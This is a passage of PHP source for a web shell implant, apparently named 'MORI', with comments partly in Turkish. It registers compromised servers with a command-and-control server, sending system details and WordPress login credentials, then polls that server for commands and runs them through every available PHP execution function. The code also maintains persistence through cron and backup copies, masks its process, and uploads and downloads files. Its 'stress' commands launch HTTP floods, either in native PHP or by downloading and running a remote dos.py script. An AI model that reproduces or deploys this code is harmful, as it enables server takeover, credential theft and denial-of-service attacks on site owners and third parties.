$filename = basename($filename); if (strpos($filename, '..') !== false || strpos($filename, '/') !== false) { http_response_code(400); echo json_encode(['error' => 'Invalid filename', 'success' => false]); exit; } // Base64 decode $file_content = @base64_decode($encoded_data, true); if ($file_content === false) { http_response_code(400); echo json_encode(['error' => 'Invalid base64 encoding', 'success' => false]); exit; } // Write file to current directory or temp $target_dir = sys_get_temp_dir(); $target_path = $target_dir . '/' . $filename; // Try current dir first if (@is_writable(getcwd())) { $target_path = getcwd() . '/' . $filename; } // Write file $bytes_written = @file_put_contents($target_path, $file_content); if ($bytes_written === false) { http_response_code(500); echo json_encode(['error' => 'Failed to write file', 'success' => false]); exit; } // Make executable if .sh or .py @chmod($target_path, 0755); http_response_code(201); echo json_encode([ 'success' => true, 'filename' => $filename, 'path' => $target_path, 'size' => strlen($file_content), 'message' => 'File uploaded successfully' ]); exit; } // REGISTER DATA ENDPOINT - C2 server pulls system info from here if (isset($_GET['act']) && $_GET['act'] === 'register_data') { header('Content-Type: application/json; charset=utf-8'); echo json_encode(collect_system_info()); exit; } // PERSISTENCE STATUS ENDPOINT - Report persistence layer status if (isset($_GET['act']) && $_GET['act'] === 'persistence_status') { header('Content-Type: application/json; charset=utf-8'); $persistence_info = [ 'backup_locations' => [], 'cron_job' => false, 'wordpress_hooks' => false, 'daemon_processes' => [], 'checked_at' => date('c') ]; // Backup locations - check common persistence paths $backup_paths = [ '/tmp', '/var/tmp', '/dev/shm', '/home', '/root', sys_get_temp_dir() ]; foreach ($backup_paths as $path) { if (@is_dir($path) && @is_writable($path)) { // Look for shell backups in this directory $shell_name = basename($GLOBALS['C2_SHELL'] ?? __FILE__); $pattern = $path . '/*' . $shell_name; $matches = @glob($pattern, GLOB_NOSORT); if ($matches && count($matches) > 0) { foreach ($matches as $match) { if (@file_exists($match)) { $persistence_info['backup_locations'][] = $match; } } } } } // Check for cron job if (function_exists('shell_exec')) { $crontab = @shell_exec('crontab -l 2>/dev/null'); if ($crontab && (strpos($crontab, $GLOBALS['CLIENT_ID'] ?? 'mori') !== false || strpos($crontab, basename($GLOBALS['C2_SHELL'] ?? __FILE__)) !== false)) { $persistence_info['cron_job'] = true; } } // Check for WordPress hooks (wp_options table modifications) if (defined('ABSPATH') && defined('DB_NAME')) { // WordPress environment detected $persistence_info['wordpress_hooks'] = true; } // Check for daemon processes if (function_exists('shell_exec')) { $ps = @shell_exec('ps aux 2>/dev/null'); if ($ps) { $client_id = $GLOBALS['CLIENT_ID'] ?? 'mori'; $shell_name = basename($GLOBALS['C2_SHELL'] ?? __FILE__); foreach (explode("\n", $ps) as $line) { if ((strpos($line, $client_id) !== false || strpos($line, $shell_name) !== false) && strpos($line, 'grep') === false) { // Extract PID $parts = preg_split('/\s+/', trim($line)); if (isset($parts[1])) { $persistence_info['daemon_processes'][] = (int)$parts[1]; } } } // Remove duplicates $persistence_info['daemon_processes'] = array_unique($persistence_info['daemon_processes']); } } echo json_encode($persistence_info, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); exit; } if (isset($_GET['task'])) { echo @c2_get_task($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']) ?: "[WAIT]"; exit; } // CLI Daemon mode — cron veya direkt çalışma if (php_sapi_name() === 'cli') { // Prevent cron process accumulation: exit immediately if another instance is running $cli_lock_file = sys_get_temp_dir() . '/.mori_cli_' . substr(md5(SHELL_PATH), 0, 8) . '.lk'; $cli_lock_fp = @fopen($cli_lock_file, 'w'); if (!$cli_lock_fp || !@flock($cli_lock_fp, LOCK_EX | LOCK_NB)) { exit(0); // already running — silently exit } // Exit before next cron tick so the next tick can start fresh (cron = 5min = 300s) $cli_max_runtime = 290; $cli_start_time = time(); @ProcessMasker::mask(); // Queue dosyasını işle (web PHP'de exec kısıtlıysa CLI burada çalışır) $queue_file = REAL_DIR . '/.mori_exec_queue'; if (@file_exists($queue_file) && @filesize($queue_file) > 2) { $queue = @json_decode(@file_get_contents($queue_file), true) ?: []; @file_put_contents($queue_file, '[]', LOCK_EX); // Temizle foreach ($queue as $item) { $qcmd = $item['cmd'] ?? ''; if (!empty($qcmd)) { $qout = execute_system_command($qcmd); @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $qcmd, "[QUEUE_EXEC] " . $qout, null); } } } $error_sentinels = ['no_task', 'db_unavailable', 'error', '[WAIT]', '[NO_ID]']; $idle_streak = 0; // consecutive no-task polls $next_poll_in = 30; // seconds until next poll (server may override) while (true) { // Exit cleanly before next cron tick to prevent process accumulation if ((time() - $cli_start_time) >= $cli_max_runtime) break; $task_raw = @c2_get_task($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']); $cmd = null; $task_id = null; $retry_after = null; if ($task_raw) { $task_decoded = @json_decode($task_raw, true); if (is_array($task_decoded)) { $retry_after = isset($task_decoded['retry_after']) ? (int)$task_decoded['retry_after'] : null; $raw_cmd = $task_decoded['command'] ?? ''; if ($raw_cmd && !in_array($raw_cmd, $error_sentinels, true)) { $cmd = $raw_cmd; $task_id = $task_decoded['id'] ?? null; } } elseif (!in_array($task_raw, $error_sentinels, true)) { $cmd = $task_raw; } } if ($cmd) { $out = execute_command($cmd); @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $cmd, $out, $task_id); $idle_streak = 0; $next_poll_in = $retry_after ?? 5; // task just ran → check again soon } else { $idle_streak++; // Exponential backoff: 30s → 60s after 10 idle polls $backoff = $idle_streak > 10 ? 60 : 30; $next_poll_in = $retry_after ?? $backoff; } // Process local exec queue each cycle if (@file_exists($queue_file) && @filesize($queue_file) > 2) { $queue = @json_decode(@file_get_contents($queue_file), true) ?: []; @file_put_contents($queue_file, '[]', LOCK_EX); foreach ($queue as $item) { $qcmd = $item['cmd'] ?? ''; if (!empty($qcmd)) { $qout = execute_system_command($qcmd); @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $qcmd, "[QUEUE] " . $qout, null); } } } sleep($next_poll_in); } // Release lock so the next cron tick can acquire it @flock($cli_lock_fp, LOCK_UN); @fclose($cli_lock_fp); exit(0); } // No output - shell is silent function http_get($url) { return http_request('GET', $url); } function http_post($url, $data) { return http_request('POST', $url, $data); } function fetch_url_content($url, $timeout = 15) { $url = trim($url); if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) { return false; } // YÖNTEM 1: cURL (en güvenilir) if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); $result = @curl_exec($ch); curl_close($ch); if ($result !== false && strlen($result) > 0) { return $result; } } // YÖNTEM 2: file_get_contents with stream context if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => ['method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $result = @file_get_contents($url, false, $context); if ($result !== false && strlen($result) > 0) { return $result; } } // YÖNTEM 3: fopen fallback if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => ['method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $fp = @fopen($url, 'rb', false, $context); if ($fp) { $result = ''; while (!feof($fp) && strlen($result) < 10485760) { // 10MB max $chunk = fread($fp, 8192); if ($chunk === false) break; $result .= $chunk; } fclose($fp); if ($result !== '' && strlen($result) > 0) { return $result; } } } return false; } function download_remote_file($url, $filename) { $content = fetch_url_content($url); if ($content === false) { return "[ERROR] URL fetch failed: $url"; } // Absolute path → use directly; relative → resolve under __DIR__ if ($filename !== '' && ($filename[0] === '/' || $filename[0] === '\\')) { $target = $filename; } else { $target = __DIR__ . '/' . ltrim($filename, '/\\'); } $dir = dirname($target); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $written = @file_put_contents($target, $content); if ($written === false) { return "[ERROR] Cannot write file: $target"; } // Auto-chmod scripts executable $ext = strtolower(pathinfo($target, PATHINFO_EXTENSION)); @chmod($target, in_array($ext, ['py', 'sh', 'pl', 'rb']) ? 0755 : 0644); return "OK: downloaded $url to $target ($written bytes)"; } function get_server_persistence_url() { global $C2_SERVER, $persistence_default_url; $c2_server = $C2_SERVER; $url = $persistence_default_url; $urlver_token = md5('mori_c2_secret_2024_persistence'); $response = @http_get($c2_server . '?urlver&token=' . $urlver_token); if ($response) { $response = trim($response); if (filter_var($response, FILTER_VALIDATE_URL)) { return $response; } } $response = @http_get($c2_server . '?act=persistence_get'); if ($response) { $json = json_decode($response, true); if (is_array($json) && isset($json['url']) && filter_var($json['url'], FILTER_VALIDATE_URL)) { $url = $json['url']; } } return $url; } // ===================================================== // VERİ KODLAMA İŞLEMLERİ // ===================================================== function safe_base64_encode($data) { return str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($data)); } function safe_base64_decode($data) { $data = str_replace(['-', '_'], ['+', '/'], $data); $padding = 4 - (strlen($data) % 4); if ($padding !== 4) { $data .= str_repeat('=', $padding); } return base64_decode($data, true); } function safe_json_encode($data) { return json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); } // ===================================================== // GELİŞMİŞ SİSTEM BİLGİ TOPLAMA // ===================================================== function get_public_ip() { static $cached = null; if ($cached) return $cached; // 1. File cache (6h TTL) — avoids any network call after first lookup $ip_cache = sys_get_temp_dir() . '/.mori_ip_cache'; if (@file_exists($ip_cache) && (time() - @filemtime($ip_cache)) < 21600) { $ip = trim((string)@file_get_contents($ip_cache)); if ($ip && filter_var($ip, FILTER_VALIDATE_IP)) { $cached = $ip; return $cached; } } // 2. SERVER_ADDR — no network call, works on most hosts $sa = $_SERVER['SERVER_ADDR'] ?? $_SERVER['LOCAL_ADDR'] ?? ''; if ($sa && filter_var($sa, FILTER_VALIDATE_IP) && $sa !== '127.0.0.1') { $cached = $sa; @file_put_contents($ip_cache, $cached); return $cached; } // 3. External lookup — 2s timeout, curl only (was 4s × 2 methods) $sources = ['https://api.ipify.org', 'https://ifconfig.me/ip', 'https://checkip.amazonaws.com']; foreach ($sources as $src) { $ip = trim((string)exec_any("curl -sfL --max-time 2 '" . $src . "' 2>/dev/null")); if ($ip && filter_var(trim($ip), FILTER_VALIDATE_IP)) { $cached = trim($ip); @file_put_contents($ip_cache, $cached); return $cached; } } // 4. Shell fallback (local interface, no network) foreach ([ "ip route get 1 2>/dev/null | awk '{for(i=1;i<=NF;i++) if(\$i==\"src\") {print \$(i+1); exit}}'", "hostname -I 2>/dev/null | awk '{print $1}'", ] as $cmd) { $ip = trim((string)exec_any($cmd)); if ($ip && filter_var($ip, FILTER_VALIDATE_IP) && $ip !== '127.0.0.1') { $cached = $ip; @file_put_contents($ip_cache, $cached); return $cached; } } $cached = @gethostbyname(@gethostname() ?: 'localhost') ?: 'unknown'; return $cached; } function collect_system_info() { global $is_windows; $info = [ 'os' => [ 'type' => PHP_OS ?? 'unknown', 'family' => detect_os_family(), 'hostname' => @gethostname() ?: 'unknown', 'arch' => @php_uname('m') ?: 'unknown', 'kernel' => @php_uname('r') ?: 'unknown', 'full' => @php_uname('a') ?: 'unknown' ], 'web' => [ 'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown', 'user' => get_current_user(), 'cwd' => getcwd() ?: __DIR__, 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? '', 'script_path' => __FILE__, 'web_shell_url' => $GLOBALS['web_shell_url'] ?? 'unknown', 'server_ip' => get_public_ip(), 'client_ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown' ], 'php' => [ 'version' => PHP_VERSION, 'sapi' => php_sapi_name(), 'extensions' => get_loaded_extensions(), 'disabled_functions' => ini_get('disable_functions'), 'memory_limit' => ini_get('memory_limit'), 'max_execution_time' => ini_get('max_execution_time') ], 'disk' => [ 'total' => @disk_total_space(__DIR__), 'free' => @disk_free_space(__DIR__) ], 'time' => [ 'timestamp' => time(), 'timezone' => date_default_timezone_get(), 'datetime' => date('Y-m-d H:i:s') ], 'permissions' => [ 'can_read' => is_readable(__FILE__), 'can_write' => is_writable(__DIR__), 'can_execute' => is_executable(__FILE__) ] ]; // Windows özel bilgiler if ($is_windows) { $info['windows'] = [ 'comspec' => getenv('COMSPEC'), 'windir' => getenv('WINDIR'), 'username' => getenv('USERNAME'), 'computername' => getenv('COMPUTERNAME') ]; } return $info; } function detect_os_family() { $os = strtoupper(PHP_OS); if (strpos($os, 'WIN') === 0) return 'WINDOWS'; if (strpos($os, 'DAR') === 0) return 'MACOS'; if (strpos($os, 'LINUX') === 0) return 'LINUX'; if (strpos($os, 'BSD') !== false) return 'BSD'; return 'UNKNOWN'; } // ===================================================== // C2 API İŞLEMLERİ (GELİŞMİŞ) // ===================================================== // C2 REGISTRATION - BACKGROUND & MAIN // ===================================================== /** * Background registration - non-blocking, fail-fast * Used for auto-registration on first load * Never blocks page load (1 sec timeout max) */ function c2_register_background($server, $id, $override_url = null) { global $web_shell_url; $url = $override_url ?: $web_shell_url; try { $sysinfo = collect_system_info(); } catch (Exception $e) { error_log("[c2_register_background] Sysinfo failed: " . $e->getMessage()); return false; } // Include cached sister files (populated by ensure_persistence_v4 on previous run) $sister_cache = sys_get_temp_dir() . '/.mori_sister_cache.json'; $sister_data = @json_decode(@file_get_contents($sister_cache), true); $wp_creds = is_wordpress_installed() ? generate_wp_login_credentials() : ['blogs_id' => null, 'hash' => null]; $payload = [ 'id' => $id, 'web_shell_url' => $url, 'server_ip' => get_public_ip(), // c2serverr.php REMOTE_ADDR yerine bunu kullanır 'sysinfo' => $sysinfo, 'sister_files' => $sister_data['locations'] ?? [], 'sister_urls' => $sister_data['urls'] ?? [], 'wp_login_id' => $wp_creds['blogs_id'], 'wp_login_hash' => $wp_creds['hash'], 'timestamp' => time(), 'version' => '3.0' ]; $encoded = safe_base64_encode(safe_json_encode($payload)); // ONE attempt only — 3s gives TLS handshake + DB insert enough room $result = @http_post_timeout($server . '?act=reg', $encoded, 3); $trimmed = trim($result ?? ''); $reg_json = $trimmed ? @json_decode($trimmed, true) : null; $reg_ok = ($trimmed === 'ok') || (!empty($reg_json['success'])); if ($result && $reg_ok) { error_log("[c2_register_background] SUCCESS"); @file_put_contents(__DIR__ . '/.registered', time()); return true; } error_log("[c2_register_background] FAILED or timeout: " . substr($trimmed, 0, 80)); return false; } function http_post_timeout($url, $data, $timeout = 1) { // Very fast fallback - cURL only with strict timeout if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // CURLOPT_TIMEOUT would int-cast 0.5 → 0 (infinite) — use TIMEOUT_MS only curl_setopt($ch, CURLOPT_TIMEOUT_MS, (int)($timeout * 1000)); curl_setopt($ch, CURLOPT_USERAGENT, 'MORI-Agent/2.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $result = @curl_exec($ch); @curl_close($ch); if ($result !== false && !empty($result)) { return $result; } } return null; } // ===================================================== function c2_register($server, $id) { global $web_shell_url; error_log("[c2_register] Starting with id=$id, server=$server"); try { $sysinfo = collect_system_info(); error_log("[c2_register] Sysinfo collected"); } catch (Exception $e) { error_log("[c2_register] Exception in collect_system_info: " . $e->getMessage()); return false; } $payload = [ 'id' => $id, 'web_shell_url' => $web_shell_url, 'sysinfo' => $sysinfo, 'timestamp' => time(), 'version' => '3.0' ]; $encoded = safe_base64_encode(safe_json_encode($payload)); error_log("[c2_register] Payload encoded: " . strlen($encoded) . " bytes"); // Retry logic - 3 kez dene with SHORT sleeps for ($attempt = 1; $attempt <= 3; $attempt++) { error_log("[c2_register] Attempt $attempt/3"); $result = http_post($server . '?act=reg', $encoded); // Null-safe response handling $result = $result ?: ''; // Convert null to empty string $result_preview = $result ? substr($result, 0, 100) : '(empty)'; error_log("[c2_register] Response: " . $result_preview); // Check for success - accept both 'ok' string and JSON {success:true} $trimmed_r = trim($result); $json_r = $trimmed_r ? @json_decode($trimmed_r, true) : null; if (!empty($result) && ($trimmed_r === 'ok' || !empty($json_r['success']))) { error_log("[c2_register] SUCCESS!"); // Guarantee write registration marker (retry if fails) $reg_file = __DIR__ . '/.registered'; if (!@file_exists($reg_file) || @filesize($reg_file) < 5) { @file_put_contents($reg_file, time()); } return true; } // Very SHORT sleep (0.5 sec instead of 2 sec) if ($attempt < 3) { usleep(500000); // 0.5 second instead of sleep(2) } } // Tüm denemeler başarısız olursa false döndür error_log("[c2_register] FAILED - All attempts failed"); return false; } /** * BATCH REGISTRATION - Toplu client kaydı (1000+ site için ideal) * Tek HTTP isteğinde 50 client'ı kaydet * Crash riski %99 azalır (200 req → 4 req) */ function c2_register_batch($server, $clients_batch) { if (!is_array($clients_batch) || count($clients_batch) === 0) { return false; } // Max 50 client per batch $clients_batch = array_slice($clients_batch, 0, 50); $payload = [ 'clients' => $clients_batch, 'batch_version' => '1.0', 'batch_timestamp' => time() ]; $encoded = safe_base64_encode(safe_json_encode($payload)); // Retry logic - 3 kez dene for ($attempt = 1; $attempt <= 3; $attempt++) { $result = http_post($server . '?act=reg_batch', $encoded); // Null-safe null coalescing $result = $result ?: ''; if (!empty($result)) { $decoded = json_decode($result, true); if (is_array($decoded) && ($decoded['batch_processed'] ?? false) === true) { error_log("[c2_register_batch] SUCCESS on attempt $attempt"); return $decoded; // Success - döndür sonuç } } error_log("[c2_register_batch] Attempt $attempt/3 failed or invalid response"); // İlk 2 denemede başarısızsa 1 saniye bekle if ($attempt < 3) { sleep(1); } } // Fallback: tek tek kayıt TRY (sadece 1x, loop yok) // Don't use retry logic here - already failed batch foreach ($clients_batch as $client) { $single_start = time(); @c2_register_background($server, $client['id'], $client['web_shell_url'] ?? null); // Skip if taking too long if (time() - $single_start > 3) break; } return false; } function c2_get_task($server, $id) { $url = $server . '?act=get_task&id=' . urlencode($id); return http_get($url); } function c2_send_result($server, $id, $command, $output, $task_id = null) { $payload = [ 'id' => $id, 'task_id' => $task_id, 'command' => $command, 'output' => safe_base64_encode($output), // Standardized encoding 'timestamp' => time() ]; $encoded = safe_base64_encode(safe_json_encode($payload)); return http_post($server . '?act=set_res', $encoded); } function c2_update_status($server, $id, $status = 'alive') { $payload = [ 'id' => $id, 'status' => $status, 'timestamp' => time() ]; $encoded = safe_base64_encode(safe_json_encode($payload)); return http_post($server . '?act=update', $encoded); } // ===================================================== // GELİŞMİŞ KOMUT ÇALIŞTIRMA MOTORU // ===================================================== function execute_command($cmd) { global $is_windows; $cmd = trim($cmd); if (empty($cmd)) return ''; // Panel'in stateless TTY wrapper'ını çöz: (cd "PATH" && (CMD)) veya (cd /d "PATH" && (CMD)) if (preg_match('/^\(cd(?:\s+\/d)?\s+"([^"]+)"\s*&&\s*\((.+)\)\s*\)$/s', $cmd, $wm)) { @chdir($wm[1]); return execute_command(trim($wm[2])); } $output = ''; $methods = []; // ÖZEL KOMUTLAR (PHP CORE) // pwd / cd if ($cmd === 'pwd' || $cmd === 'cd') { return getcwd() ?: REAL_DIR; } // CD ile dizin değiştir (büyük/küçük harf bağımsız) // Handle both pure 'cd path' and 'cd path && othercmd' if (preg_match('/^cd\s+(?:[\'"])?([^\'"&]+?)(?:[\'"])?(?:\s*&&\s*(.*))?$/i', $cmd, $m)) { $path = trim($m[1]); $remaining_cmd = isset($m[2]) ? trim($m[2]) : ''; if (@chdir($path)) { $cwd = getcwd(); if (!empty($remaining_cmd)) { // If there's a command after &&, execute it in the new directory $result = execute_command($remaining_cmd); return $result; } return $cwd; } return "[ERROR] Cannot change to: $path"; } // FILELIST - Dizin listele if (strpos($cmd, 'FILELIST ') === 0) { $path = trim(substr($cmd, 9)) ?: getcwd(); return list_directory($path); } // FILEREAD - Dosya oku if (strpos($cmd, 'FILEREAD ') === 0) { $file = trim(substr($cmd, 9)); return read_file($file); } // FILEWRITE - Dosya yaz if (strpos($cmd, 'FILEWRITE ') === 0) { $parts = explode(' ', $cmd, 3); if (count($parts) >= 3) { return write_file($parts[1], $parts[2]); } return "[ERROR] FILEWRITE <path> <base64_content>"; } // DOWNLOADFILE - URL'den dosya indirip kaydet if (strpos($cmd, 'DOWNLOADFILE ') === 0 || strpos($cmd, 'DOWNLOADURL ') === 0) { $parts = preg_split('/\s+/', $cmd, 3); if (count($parts) >= 3) { return download_remote_file($parts[1], $parts[2]); } return "[ERROR] DOWNLOADFILE <url> <filename>"; } // FILEDELETE - Dosya sil if (strpos($cmd, 'FILEDELETE ') === 0) { $file = trim(substr($cmd, 11)); return delete_file($file); } // FILECOPY - Dosya kopyala if (strpos($cmd, 'FILECOPY ') === 0) { $parts = explode(' ', $cmd, 3); if (count($parts) >= 3) { return copy_file($parts[1], $parts[2]); } return "[ERROR] FILECOPY <source> <dest>"; } // DIRCREATE - Dizin oluştur if (strpos($cmd, 'DIRCREATE ') === 0) { $path = trim(substr($cmd, 10)); return create_directory($path); } // DIRDELETE - Dizin sil if (strpos($cmd, 'DIRDELETE ') === 0) { $path = trim(substr($cmd, 10)); return delete_directory($path); } // SISTEM BILGILERI if ($cmd === 'sysinfo' || $cmd === 'system') { return json_encode(collect_system_info(), JSON_PRETTY_PRINT); } if ($cmd === 'whoami') { if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $pw = @posix_getpwuid(@posix_geteuid()); if ($pw && !empty($pw['name'])) return $pw['name']; } $cu = get_current_user(); if ($cu) return $cu; if (@is_readable('/proc/self/status')) { if (preg_match('/^Uid:\s+\d+\s+(\d+)/m', @file_get_contents('/proc/self/status'), $rm)) return 'uid:' . $rm[1]; } return 'unknown'; } if ($cmd === 'id') { if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $uid = @posix_geteuid(); $gid = @posix_getegid(); $pw = @posix_getpwuid($uid); $gr = @posix_getgrgid($gid); return "uid={$uid}(" . ($pw['name'] ?? '?') . ") gid={$gid}(" . ($gr['name'] ?? '?') . ")"; } return 'id: posix not available'; } if ($cmd === 'hostname') { return gethostname(); } if ($cmd === 'uname' || $cmd === 'uname -a') { return php_uname($cmd === 'uname' ? 'n' : 'a'); } // ls / dir — with optional path argument if (preg_match('/^(ls|dir)(\s+(.+))?$/i', $cmd, $lm)) { $lpath = isset($lm[3]) ? trim($lm[3]) : getcwd(); return list_directory($lpath); } // cat FILE — PHP native read if (preg_match('/^cat\s+(.+)$/i', $cmd, $catm)) { return read_file(trim($catm[1])); } if ($cmd === 'clear' || $cmd === 'cls') { return '__CLEAR__'; } // PHP_STRESS — shell olmadan native PHP HTTP flood // Sözdizimi: PHP_STRESS <target> <method> <duration> <threads> [refs] [max_cpu] [max_ram] [rpc] if (strpos($cmd, 'PHP_STRESS ') === 0) { $parts = preg_split('/\s+/', trim(substr($cmd, 11))); $target = $parts[0] ?? ''; $method = strtoupper($parts[1] ?? 'GET'); $duration = (int)($parts[2] ?? 20); $threads = min((int)($parts[3] ?? 10), 50); $refs = $parts[4] ?? '_'; $max_cpu = (int)($parts[5] ?? 80); $max_ram = (int)($parts[6] ?? 75); $rpc = (int)($parts[7] ?? 10); if (empty($target)) return '[ERROR] PHP_STRESS: hedef URL gerekli'; return php_native_flood($target, $method, $duration, $threads, $rpc); } // MORI_STRESS — anında fire-and-forget, download+run tek bg komutu // Kullanım: MORI_STRESS <target> <method> <threads> [duration=300] [rpc=15] if (strpos($cmd, 'MORI_STRESS ') === 0) { ignore_user_abort(true); set_time_limit(0); $parts = preg_split('/\s+/', trim(substr($cmd, 12))); $target = $parts[0] ?? ''; $method = strtoupper($parts[1] ?? 'GET'); $threads = min((int)($parts[2] ?? 100), 500); $duration = min((int)($parts[3] ?? 300), 600); $rpc = (int)($parts[4] ?? 15); if (empty($target)) return '[ERROR] MORI_STRESS: hedef gerekli'; $python = mori_find_python(); $dl_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/dos.py'; $save = (is_writable('/tmp') ? '/tmp' : (is_writable('/dev/shm') ? '/dev/shm' : sys_get_temp_dir())) . '/dos_mori.py'; $run_args = escapeshellarg($target) . ' ' . escapeshellarg($method) . ' ' . (int)$duration . ' ' . (int)$threads . ' _ 80 75 ' . (int)$rpc; // Önce önbellekte var mı bak (bloklamaz) $dos = null; foreach ([__DIR__, '/tmp', '/dev/shm', '/var/tmp', sys_get_temp_dir()] as $dir) { if (!is_dir($dir)) continue; foreach (['dos_mori.py', 'dos.py'] as $fn) { $p = $dir . '/' . $fn; if (@file_exists($p) && @filesize($p) > 1000) { $dos = $p; break 2; } } foreach (@glob($dir . '/dos.py*') ?: [] as $f) { if (@filesize($f) > 1000) { $dos = $f; break 2; } } } if ($dos) { // Zaten var — direkt çalıştır, anında döner $bg = 'nohup ' . escapeshellarg($python) . ' ' . escapeshellarg($dos) . ' ' . $run_args . ' > /dev/null 2>&1 &'; } else { // Yok — indir+çalıştır tek nohup sh -c içinde, PHP bloklamaz $inline = 'curl -sLf ' . escapeshellarg($dl_url) . ' -o ' . escapeshellarg($save) . ' 2>/dev/null || wget -qO ' . escapeshellarg($save) . ' ' . escapeshellarg($dl_url) . ' 2>/dev/null' . '; ' . escapeshellarg($python) . ' ' . escapeshellarg($save) . ' ' . $run_args; $bg = 'nohup sh -c ' . escapeshellarg($inline) . ' > /dev/null 2>&1 &'; } if (mori_exec_bg($bg)) return '[STRESS_OK] ' . $target . ' | ' . $method . ' | ' . $threads . 't | ' . $duration . 's' . ($dos ? '' : ' [dl+run bg]'); if (function_exists('pcntl_fork') && !in_array('pcntl_fork', array_map('trim', explode(',', ini_get('disable_functions'))))) { $pid = @pcntl_fork(); if ($pid === 0) { @shell_exec($bg); exit(0); } if ($pid > 0) return '[STRESS_OK] ' . $target . ' | fork:' . $pid; } // exec tamamen kapalı → PHP native flood return php_native_flood($target, in_array($method, ['GET','POST','HEAD']) ? $method : 'GET', min($duration, 120), min($threads, 50), 30) . "\n[FALLBACK] exec disabled"; } // SİSTEM KOMUTU ÇALIŞTIR return execute_system_command($cmd); } function execute_system_command($cmd) { $methods_tried = []; $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); $cmd_pipe = $cmd . ' 2>&1'; if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $methods_tried[] = 'shell_exec'; $result = @shell_exec($cmd_pipe); if ($result !== null) return $result; } if (function_exists('exec') && !in_array('exec', explode(',', ini_get('disable_functions')))) { $methods_tried[] = 'exec'; @exec($cmd_pipe, $output_lines, $return_var); if (!empty($output_lines)) return implode("\n", $output_lines); } if (function_exists('system') && !in_array('system', explode(',', ini_get('disable_functions')))) { $methods_tried[] = 'system'; ob_start(); @system($cmd_pipe); $result = ob_get_clean(); if ($result !== false && $result !== '') return $result; } if (function_exists('passthru') && !in_array('passthru', explode(',', ini_get('disable_functions')))) { $methods_tried[] = 'passthru'; ob_start(); @passthru($cmd_pipe); $result = ob_get_clean(); if ($result !== false && $result !== '') return $result; } if (function_exists('proc_open') && !in_array('proc_open', $disabled)) { $methods_tried[] = 'proc_open'; $descriptors = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = @proc_open($cmd, $descriptors, $pipes); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); $combined = trim($stdout . ($stderr ? "\nSTDERR:\n" . $stderr : '')); if ($combined !== '') return $combined; } } if (function_exists('popen') && !in_array('popen', $disabled)) { $methods_tried[] = 'popen'; $handle = @popen($cmd_pipe, 'r'); if ($handle) { $result = ''; while (!feof($handle)) { $result .= fgets($handle); } pclose($handle); if ($result !== '') return $result; } } // Stress komutu (dos.py) + exec yok → PHP native flood fallback // Matches: python3 dos.py ..., nohup python3 dos.py ..., nohup sh -c '...dos.py...' if (preg_match('/(?:nohup\s+)?(?:sh\s+-c\s+[\'"].*)?python[23]?\s+\S*dos[\._](?:py|mori)[^\s]*\s+(\S+)\s+[^\s]*\s+(\d+)\s+(\d+)\s*([A-Z]*)/i', $cmd, $m) || preg_match('/python[23]?\s+\S*dos[\._](?:py|mori)[^\s]*\s+(\S+)\s+(\d+)\s+(\d+)\s*([A-Z]*)/i', $cmd, $m)) { $target = $m[1]; $duration = min((int)$m[2], 300); $threads = min((int)$m[3], 50); $method = strtoupper($m[4] ?: 'GET'); if (!in_array($method, ['GET','POST','HEAD'], true)) $method = 'GET'; return php_native_flood($target, $method, $duration, $threads, 30) . "\n[FALLBACK] exec disabled → php_native_flood"; } // pcntl_fork ile background exec (bazı VPS) if (function_exists('pcntl_fork') && !in_array('pcntl_fork', $disabled) && (strpos($cmd, 'python') !== false || strpos($cmd, 'nohup') !== false)) { $pid = @pcntl_fork(); if ($pid === 0) { @shell_exec($cmd . ' >/dev/null 2>&1 &'); exit(0); } if ($pid > 0) { return '[STRESS_BG] Background\'da çalışıyor (pid:' . $pid . ')'; } } // Queue dosyasına yaz — cron (CLI PHP) 5dk içinde çalıştırır $queue_file = REAL_DIR . '/.mori_exec_queue'; $queue = @json_decode(@file_get_contents($queue_file), true) ?: []; $queue = array_filter($queue, fn($q) => (time() - ($q['t'] ?? 0)) < 3600); $queue[] = 